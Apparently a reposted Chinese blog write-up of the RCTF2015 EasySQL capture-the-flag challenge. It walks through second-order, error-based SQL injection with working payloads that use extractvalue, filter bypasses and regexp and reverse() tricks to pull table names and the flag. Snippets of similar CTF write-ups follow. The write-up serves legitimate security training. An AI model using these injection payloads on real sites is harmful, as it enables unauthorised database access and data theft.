[RCTF2015]EasySQL

2024-03-05 10:20
文章标签 easysql rctf2015

本文主要是介绍[RCTF2015]EasySQL,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言:

又是一道二次注入的题目。本菜鸡还是没有独立做出来,对二次注入这个知识点还是有些不熟练。


一开始先去注册,但发现即使自己正常填信息也不能注册成功,然后懒就没想着去Fazz一下。然后折腾好一会,当我直接只填写username而不填写password、email时发现注册成功。服了,当时心态有点不好吧…

当尝试username为admin"然后再去改密码时出现了报错,说明是双引号闭合,而不是常规的单引号闭合,二次注入的利用点在修改密码的username处,username即为我们注册的username
在这里插入图片描述
在这里插入图片描述
我们可以猜测一下修改密码的SQL语句应该是:

updateset password='xxx' where username='xx' and pwd='xx'

再结合上有报错信息,我们要构造一条报错语句
但要注意username是过滤了 空格、and、or、/* 等等字符的

空格可以用()来绕过,and、or可以用||和 &&绕过
测试语句:

admin"||extractvalue(1,concat(0x7e,user(),0x7e))#

在这里插入图片描述
接下一来常规注入:

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
~article,flag,users~admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),0x7e))#
~flag~admin"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#
RCTF{Good job! But flag not her

flag并不在flag表中,尝试一下users这个表:

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e))#
name,pwd,email,real_flag_1s_her

发现确实在users表中,但当我使用mid、substr、left、right尝试截取后面未显示出来的字符时却不行,原来被过滤了。
到这儿就卡住不知道还有什么方法截取字符了…看师傅们是利用正则来截取字符的

select * from test where name regexp '^r'

照着上面这个语句构造即可:
注意这里用到 &&表示逻辑与 从而代替and,但因为我是burp上操作的,不编码会被burp认为是新的参数,所以我选择URL进行一下编码

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=('users')%26%26(column_name)regexp('^r')),0x7e))#
real_flag_1s_here

读flag字段信息:

admin"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e))#

在这里插入图片描述

还是因为回显的限制,然后尝试regexp('^df')的方式想着从截取df字符以后的,但并不能成功。

这里用到一个reserve()函数将字符串反转

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e))#

在这里插入图片描述
这样就巧妙地回去到末尾的字符了,只需要再将获取的字符反转一下:

MariaDB [test]> select reverse('~}0d8bd15273fd-85da-56f4-b605-8a');
+---------------------------------------------+
| reverse('~}0d8bd15273fd-85da-56f4-b605-8a') |
+---------------------------------------------+
| a8-506b-4f65-ad58-df37251db8d0}~            |
+---------------------------------------------+
总结:
  1. 二次注入,在可疑地方要多尝试,试试单引号、双引号等等的看看有没异常。
  2. 截取字符还能用正则表达式的方式截取regexp '^r'表示匹配以r为开头的字符串
  3. Reverse()函数可以配合截取,逆序输出的字符

这篇关于[RCTF2015]EasySQL的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/776193

相关文章

[CTF][SUCTF2019]easysql

解题思路 1 先尝试可能的注入点 单引号 双引号 数字 字母等等,看界面反应。 最终结果: from union 等关键字被过滤,flag字符串也被过滤。 可以使用堆叠注入。 输入字符串界面无反应,输入数字会返回,1,2,3等也会返回。 限制输入长度。 基本可以确定,是select … from xxx的句式。 但是会对最后一个字符做处理,如1,2,3,会返回1, 2,1 2 方向 把前面的规

[RCTF2015]EasySQL1 题目分析与详解

一、题目介绍: 1、题目来源: BUUCTF网址 2、题目介绍: 拿到flag。 二、解题思路: 我们发现题目首页有登录和注册账号两个选项,我们首先尝试注册账号,尝试注册username为admin的账号,输入密码与邮箱,提交时发现页面显示 user exists 用户已存在,我们的第一想法是也许flag在admin账号中,现在只需要登录进admin的账号就行了。 我们尝

[极客大挑战 2019]Havefun、[ACTF2020 新生赛]Include、[SUCTF 2019]EasySQL

[极客大挑战 2019]Havefun 进入环境就如下图啥都没给我查看了一下源码 直接给出了flag???尝试了一下结果是一个假的flag,然后我们分析源代码很容易看出我们通过GET方式给cat传一个值,如果cat的值为dog就输出flag,这很简单了我们通过get方式给cat传一个叫dog的值我们就能获得flag,payload如下 ?cat=dog 得到flag [AC

Buuctf-Web-[极客大挑战 2019]EasySQL 1 题解及思路总结

​ 启动靶机 目录 题要做题过程第一步——找到页面与数据库产生交互的地方第二步——查看SQL语句闭合方式判断SQL注入闭合方式:方法一:使用\(转义字符)来判断SQL注入的闭合方式方法二:输入1、1'、1"判断SQL语句闭合方式 第三步——进行SQL注入方法一:万能账号密码方法二:使用HackBar进行SQL注入一、查看页面的传参方式二、使用HackBar进行SQL注入 思路总结题目

津门杯 easysql

第一次遇到ssrf打sql注入吧 index.php的代码 <?phphighlight_file(__FILE__);session_start();$url = $_GET['url'] ?? false;if($url){$a = preg_match("/file|dict/i", $url);if ($a==1){exit();}$ch = curl_init();curl_se

[SUCTF 2019]EasySQL 1

题目环境: 把你的旗子给我,我会告诉你旗子是不是对的。 判断注入类型1'回显结果 不是字符型SQL注入 1回显结果 数字型SQL注入 查所有数据库,采用堆叠注入1;show databases;查看所有数据表1;show tables;尝试爆Flag数据表的字段1;show columns from Flag; 回显错误 到这里,大佬们直接猜出了后端语句se

BUUCTF题解之[极客大挑战 2019]EasySQL 1

1.题目分析 考查sql注入的基本使用。 1.sql注入的定义 SQL注入是一种针对Web应用程序的攻击技术,通过在应用程序的用户输入参数中嵌入SQL代码,进而攻击应用程序的数据库。 攻击者可以通过SQL注入来获取敏感信息、执行无权执行的操作、甚至完全控制数据库服务器。 SQL注入通常发生在Web应用程序中,因为Web应用程序使用输入参数来构建SQL语句,而这些输入参数往往不能被完全信任。

BUUCTF题解之[极客大挑战 2019]EasySQL 1

1.题目分析 考查sql注入的基本使用。 1.sql注入的定义 SQL注入是一种针对Web应用程序的攻击技术,通过在应用程序的用户输入参数中嵌入SQL代码,进而攻击应用程序的数据库。 攻击者可以通过SQL注入来获取敏感信息、执行无权执行的操作、甚至完全控制数据库服务器。 SQL注入通常发生在Web应用程序中,因为Web应用程序使用输入参数来构建SQL语句,而这些输入参数往往不能被完全信任。